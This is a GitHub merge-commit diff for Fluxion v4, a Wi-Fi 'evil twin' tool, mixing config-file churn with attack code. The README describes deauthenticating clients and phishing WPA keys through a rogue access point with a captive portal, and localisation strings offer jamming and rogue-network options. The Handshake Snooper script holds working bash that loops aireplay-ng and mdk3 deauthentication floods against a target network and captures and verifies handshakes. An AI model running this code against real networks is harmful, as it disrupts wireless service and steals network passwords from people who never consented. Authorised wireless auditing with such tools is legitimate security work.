Merge pull request #413 from FluxionNetwork/v4-development

Introduce fluxion v4
This commit is contained in:
deltax 2018-03-10 14:27:39 +01:00 committed by GitHub
commit c597427fcb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
41 changed files with 3525 additions and 1818 deletions

View File

@ -6,13 +6,13 @@ insert_final_newline = true
max_line_length=120 max_line_length=120
[*.sh] [*.sh]
indent_style = space indent_style = tab
indent_size = 2 indent_size = 4
charset = utf-8 charset = utf-8
trim_trailing_whitespace = true trim_trailing_whitespace = true
[*.py] [*.py]
indent_size=2 indent_size = 4
[*.md] [*.md]
trim_trailing_whitespace = false trim_trailing_whitespace = false

210
.gitignore vendored
View File

@ -1,35 +1,173 @@
# Custom files
*~ *~
*.swp *.swp
*.swo *.swo
*.cap *.cap
*.log *.log
BullyOutput.txt *.conf
*.lock
*.save
*.backup
# temporary files which can be created if a process still has a handle open of a deleted file # Compiled Object files
.fuse_hidden* *.slo
*.lo
*.o
*.obj
# KDE directory preferences # Precompiled Headers
.directory *.gch
*.pch
# Linux trash folder which might appear on any partition or disk # Compiled Dynamic libraries
.Trash-* *.so
*.dylib
*.dll
# .nfs files are created when an open file is removed but is still being accessed # Fortran module files
.nfs* *.mod
*.smod
# Cache files for Sublime Text # Compiled Static libraries
*.lai
*.la
*.a
*.lib
# Executables
*.exe
*.out
*.app
### Calabash ###
# Calabash / Cucumber
rerun/
reports/
screenshots/
screenshot*.png
test-servers/
# bundler
.bundle
vendor
### Python ###
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule.*
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
### SublimeText ###
# cache files for sublime text
*.tmlanguage.cache *.tmlanguage.cache
*.tmPreferences.cache *.tmPreferences.cache
*.stTheme.cache *.stTheme.cache
# Workspace files are user-specific # workspace files are user-specific
*.sublime-workspace *.sublime-workspace
# Project files should be checked into the repository, unless a significant # project files should be checked into the repository, unless a significant
# proportion of contributors will probably not be using Sublime Text # proportion of contributors will probably not be using SublimeText
# *.sublime-project # *.sublime-project
# SFTP configuration file # sftp configuration file
sftp-config.json sftp-config.json
# Package control specific files # Package control specific files
@ -48,30 +186,22 @@ bh_unicode_properties.cache
# https://packagecontrol.io/packages/sublime-github # https://packagecontrol.io/packages/sublime-github
GitHub.sublime-settings GitHub.sublime-settings
# General ### Vim ###
*.DS_Store # swap
.AppleDouble .sw[a-p]
.LSOverride .*.sw[a-p]
# session
Session.vim
# temporary
.netrwhist
*~
# auto-generated tag files
tags
# Icon must end with two \r ### VisualStudioCode ###
Icon .vscode/*
!.vscode/settings.json
!.vscode/tasks.json
# Thumbnails !.vscode/launch.json
._* !.vscode/extensions.json
.history
# Files that might appear in the root of a volume
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent
# Directories potentially created on remote AFP share
.AppleDB
.AppleDesktop
Network Trash Folder
Temporary Items
.apdisk

3
.gitmodules vendored
View File

@ -1,4 +1,3 @@
[submodule "attacks/Captive Portal/sites"] [submodule "attacks/Captive Portal/sites"]
path = attacks/Captive Portal/sites path = attacks/Captive Portal/sites
#url = git@github.com:FluxionNetwork/sites.git url = https://github.com/FluxionNetwork/sites
url = https://github.com/FluxionNetwork/sites

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<projectDescription> <projectDescription>
<name>fluxion</name> <name>Fluxion</name>
<comment></comment> <comment></comment>
<projects> <projects>
</projects> </projects>

View File

@ -5,7 +5,7 @@ Fluxion is a security auditing and social-engineering research tool. It is a rem
If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby) If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby)
## Installation ## Installation
Read [this](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you follow the following steps. Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps.
<br> <br>
**Download the latest revision** **Download the latest revision**
``` ```
@ -22,10 +22,10 @@ cd fluxion
## :scroll: Changelog ## :scroll: Changelog
Fluxion gets weekly updates with new features, improvements, and bugfixes. Fluxion gets weekly updates with new features, improvements, and bugfixes.
Be sure to check out the [changelog](https://github.com/FluxionNetwork/fluxion/commits/master). Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).
## :octocat: How to contribute ## :octocat: How to contribute
All contributions are welcome! Code, documentation, graphics, and design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide). All contributions are welcome! Code, documentation, graphics, or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide).
## :book: How it works ## :book: How it works
* Scan for a target wireless network. * Scan for a target wireless network.
@ -35,7 +35,7 @@ All contributions are welcome! Code, documentation, graphics, and design suggest
* Spawns a rogue (fake) AP, imitating the original access point. * Spawns a rogue (fake) AP, imitating the original access point.
* Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal. * Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal.
* Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key. * Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key.
* Spawns a jammer, deauthenticating all clients from original AP and luring them to the rogue AP. * Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP.
* All authentication attempts at the captive portal are checked against the handshake file captured earlier. * All authentication attempts at the captive portal are checked against the handshake file captured earlier.
* The attack will automatically terminate once a correct key has been submitted. * The attack will automatically terminate once a correct key has been submitted.
* The key will be logged and clients will be allowed to reconnect to the target access point. * The key will be logged and clients will be allowed to reconnect to the target access point.
@ -63,10 +63,10 @@ For development I use vim and tmux. Here are my [dotfiles](https://github.com/de
## Disclaimer ## Disclaimer
* Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. * Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
* The usage of Fluxion to attack infrastructure without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors and developers. It is the end users responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. * The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.
## Note ## Note
* :heavy_exclamation_mark: Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware. * Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware.
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately** * Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**

File diff suppressed because it is too large Load Diff

View File

@ -2,6 +2,12 @@
# identifier: Captive Portal # identifier: Captive Portal
# description: Creates an "evil twin" access point. # description: Creates an "evil twin" access point.
CaptivePortalJammerInterfaceQuery="Select an interface for jamming."
CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point."
CaptivePortalAPServiceQuery="Select an access point service"
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalInterfaceQuery="Select an interface for the captive portal." CaptivePortalInterfaceQuery="Select an interface for the captive portal."
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..." CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."

View File

@ -0,0 +1,38 @@
#!/bin/bash
# identifier: Captive Portal
# description: Создаёт точку доступа "Злой Двойник".
CaptivePortalJammerInterfaceQuery="Выберите интерфейс для глушения."
CaptivePortalAccessPointInterfaceQuery="Выберите интерфейс для точки доступа."
CaptivePortalAPServiceQuery="Выберите службу точки доступа"
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}рекомендуется$CClr)"
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}медленная$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalInterfaceQuery="Выберите интерфейс для перехватывающего портала (captive portal)."
CaptivePortalStartingInterfaceNotice="Запуск интерфейса перехватывающего портала..."
CaptivePortalCannotStartInterfaceError="${CRed}Не получается запустить перехватывающий портал interface$CClr, возврат!"
CaptivePortalStartedInterfaceNotice="${CGrn}Успех${CClr}, интерфейс перехватывающего портала готов!"
CaptivePortalStaringAPServiceNotice="Запуск службы точки доступа с Перехватывающим Порталом..."
CaptivePortalStaringAPRoutesNotice="Запуск маршрутизации точки доступа с Перехватывающим Порталом..."
CaptivePortalStartingDHCPServiceNotice="Запуск службы DHCP точки доступа в качестве демона..."
CaptivePortalStartingDNSServiceNotice="Запуск службы DNS точки доступа в качестве демона..."
CaptivePortalStartingWebServiceNotice="Запуск точки доступа с Перехватывающим Порталом в качестве демона..."
CaptivePortalStartingJammerServiceNotice="Запуск глушителя точки доступа в качестве демона..."
CaptivePortalStartingAuthenticatorServiceNotice="Запуск скрипта аутентификации..."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalVerificationMethodQuery="Выбор метода верификации пароля"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalCertificateSourceQuery="Выбор источника SSL сертификата для перехватывающего портала."
CaptivePortalCertificateSourceGenerateOption="Создание SSL сертификата"
CaptivePortalCertificateSourceRescanOption="Обнаружение SSL сертификата (${CClr}искать снова$CGry)"
CaptivePortalCertificateSourceDisabledOption="Нет (${CYel} SSL отключено$CGry)"
CaptivePortalUIQuery="Выберите интерфейс перехватывающего портала для мошеннической сети."
CaptivePortalGenericInterfaceOption="Обычный Портал"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalConnectivityQuery="Выберите тип Интернет-соединения для мошеннической сети."
CaptivePortalConnectivityDisconnectedOption="отключено (${CGrn}рекомендуется$CClr)"
CaptivePortalConnectivityEmulatedOption="эмулирован"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# FLUXSCRIPT END

View File

@ -1,12 +1,27 @@
#!/bin/bash #!/bin/bash
########################### < Handshake Snooper Parameters > ########################### # ============================================================ #
# ============= < Handshake Snooper Parameters > ============= #
# ============================================================ #
HandshakeSnooperState="Not Ready" HandshakeSnooperState="Not Ready"
################################# < Handshake Snooper > ################################
function handshake_snooper_arbiter_daemon() { # ============================================================ #
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi # ========= < Handshake Snooper Helper Subroutines > ========= #
# ============================================================ #
handshake_snooper_header() {
fluxion_header; fluxion_target_show; echo
}
# ============================================================ #
# ============= < Handshake Snooper Subroutines > ============ #
# ============================================================ #
handshake_snooper_arbiter_daemon() {
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then
return 1;
fi
# Start daemon in the running state to continue execution until aborted, # Start daemon in the running state to continue execution until aborted,
# or until a hash has been verified to exist in the capture file. # or until a hash has been verified to exist in the capture file.
@ -15,13 +30,16 @@ function handshake_snooper_arbiter_daemon() {
function handshake_snooper_arbiter_daemon_abort() { function handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted" handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
kill $handshake_snooper_arbiter_daemon_viewerPID
fi fi
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor handshake_snooper_stop_captor
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log" local -r now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
exit 2 exit 2
} }
@ -34,10 +52,14 @@ function handshake_snooper_arbiter_daemon() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
# Display some feedback to the user to assure verifier is working. # Display some feedback to the user to assure verifier is working.
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" & xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \
-title "Handshake Snooper Arbiter Log" -e \
"tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
local handshake_snooper_arbiter_daemon_viewerPID=$! local handshake_snooper_arbiter_daemon_viewerPID=$!
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log" local now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \
"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_start_captor handshake_snooper_start_captor
handshake_snooper_start_deauthenticator handshake_snooper_start_deauthenticator
@ -46,26 +68,38 @@ function handshake_snooper_arbiter_daemon() {
# Keep snooping and verifying until we've got a valid hash from the capture file. # Keep snooping and verifying until we've got a valid hash from the capture file.
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log" now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval & sleep $HANDSHAKEVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting. wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking. # If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log" now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor handshake_snooper_stop_captor
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap" mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
"$FLUXIONWorkspacePath/capture/recent.cap"
else else
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
$FLUXIONOutputDevice
fi fi
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log" now=$(env -i date '+%H:%M:%S')
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC" echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \
"$FLUXIONWorkspacePath/capture/recent.cap" \
"$FluxionTargetSSID" "$FluxionTargetMAC"
handshake_snooper_arbiter_daemon_verified=$? handshake_snooper_arbiter_daemon_verified=$?
# If synchronously searching, restart the captor and deauthenticator after checking. # If synchronously searching, restart the captor and deauthenticator after checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
handshake_snooper_start_captor handshake_snooper_start_captor
@ -78,34 +112,39 @@ function handshake_snooper_arbiter_daemon() {
handshake_snooper_stop_captor handshake_snooper_stop_captor
local completionTime=$(env -i date '+%H:%M:%S') local completionTime=$(env -i date '+%H:%M:%S')
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log" "$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
# Assure we've got a directory to store hashes into. # Assure we've got a directory to store hashes into.
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/" mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
# Move handshake to storage if one was acquired. # Move handshake to storage if one was acquired.
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" mv "$FLUXIONWorkspacePath/capture/recent.cap" \
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
# Signal parent process the verification terminated. # Signal parent process the verification terminated.
kill -s SIGABRT $1 kill -s SIGABRT $1
} }
function handshake_snooper_stop_captor() { handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice if [ "$HANDSHAKECaptorPID" ]; then
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKECaptorPID="" HANDSHAKECaptorPID=""
} }
function handshake_snooper_start_captor() { handshake_snooper_start_captor() {
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_captor handshake_snooper_stop_captor
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \ xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor & $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface &
local parentPID=$! local parentPID=$!
while [ ! "$HANDSHAKECaptorPID" ]; do while [ ! "$HANDSHAKECaptorPID" ]; do
@ -115,14 +154,14 @@ function handshake_snooper_start_captor() {
done done
} }
function handshake_snooper_stop_deauthenticator() { handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
fi fi
HANDSHAKEDeauthenticatorPID="" HANDSHAKEDeauthenticatorPID=""
} }
function handshake_snooper_start_deauthenticator() { handshake_snooper_start_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
@ -130,75 +169,133 @@ function handshake_snooper_start_deauthenticator() {
# Prepare deauthenticators # Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;; "$HandshakeSnooperMdk3MethodOption")
echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac esac
# Start deauthenticators. # Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption") "$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" & -title "Deauthenticating all clients on $FluxionTargetSSID" -e \
HANDSHAKEDeauthenticatorPID=$! "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
HANDSHAKEDeauthenticatorPID=$!
;; ;;
"$HandshakeSnooperMdk3MethodOption") "$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" & -title "Deauthenticating all clients on $FluxionTargetSSID" -e \
HANDSHAKEDeauthenticatorPID=$! "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!
;; ;;
esac esac
} }
function handshake_snooper_unset_deauthenticator_identifier() {
handshake_snooper_unset_deauthenticator_identifier() {
if [ ! "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 1; fi
HANDSHAKEDeauthenticatorIdentifier="" HANDSHAKEDeauthenticatorIdentifier=""
} }
function handshake_snooper_set_deauthenticator_identifier() { handshake_snooper_set_deauthenticator_identifier() {
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption") local methods=(
"$HandshakeSnooperMonitorMethodOption"
"$HandshakeSnooperAireplayMethodOption"
"$HandshakeSnooperMdk3MethodOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$HandshakeSnooperMethodQuery" methods[@] io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
echo echo
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
"$FLUXIONGeneralBackOption" ]; then
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
return 1 return 1
fi fi
} }
function handshake_snooper_unset_verifier_identifier() { handshake_snooper_unset_jammer_interface() {
if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi
HandshakeSnooperJammerInterface=""
# Check if we're automatically selecting the interface & skip
# this one if so to take the user back properly.
local interfacesAvailable
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
}
handshake_snooper_set_jammer_interface() {
if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
"$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi
if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then
echo "Running get jammer interface." > $FLUXIONOutputDevice
if ! fluxion_get_interface attack_targetting_interfaces \
"$HandshakeSnooperJammerInterfaceQuery"; then
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
return 1
fi
local selectedInterface=$FluxionInterfaceSelected
else
local selectedInterface=$HandshakeSnooperUninitializedJammerInterface
unset HandshakeSnooperUninitializedJammerInterface
fi
if ! fluxion_allocate_interface $selectedInterface; then
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
return 2
fi
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]}
}
handshake_snooper_unset_verifier_identifier() {
if [ ! "$HANDSHAKEVerifierIdentifier" ]; then return 1; fi
HANDSHAKEVerifierIdentifier="" HANDSHAKEVerifierIdentifier=""
} }
function handshake_snooper_set_verifier_identifier() { handshake_snooper_set_verifier_identifier() {
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") local choices=(
"$FLUXIONHashVerificationMethodPyritOption"
"$FLUXIONHashVerificationMethodAircrackOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
echo echo
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;; "$FLUXIONHashVerificationMethodPyritOption")
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;; HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONHashVerificationMethodAircrackOption")
handshake_snooper_unset_verifier_identifier HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
return 1 "$FLUXIONGeneralBackOption")
;; handshake_snooper_unset_verifier_identifier
return 1
;;
esac esac
} }
function handshake_snooper_unset_verifier_interval() { handshake_snooper_unset_verifier_interval() {
if [ ! "$HANDSHAKEVerifierInterval" ]; then return 1; fi
HANDSHAKEVerifierInterval="" HANDSHAKEVerifierInterval=""
} }
function handshake_snooper_set_verifier_interval() { handshake_snooper_set_verifier_interval() {
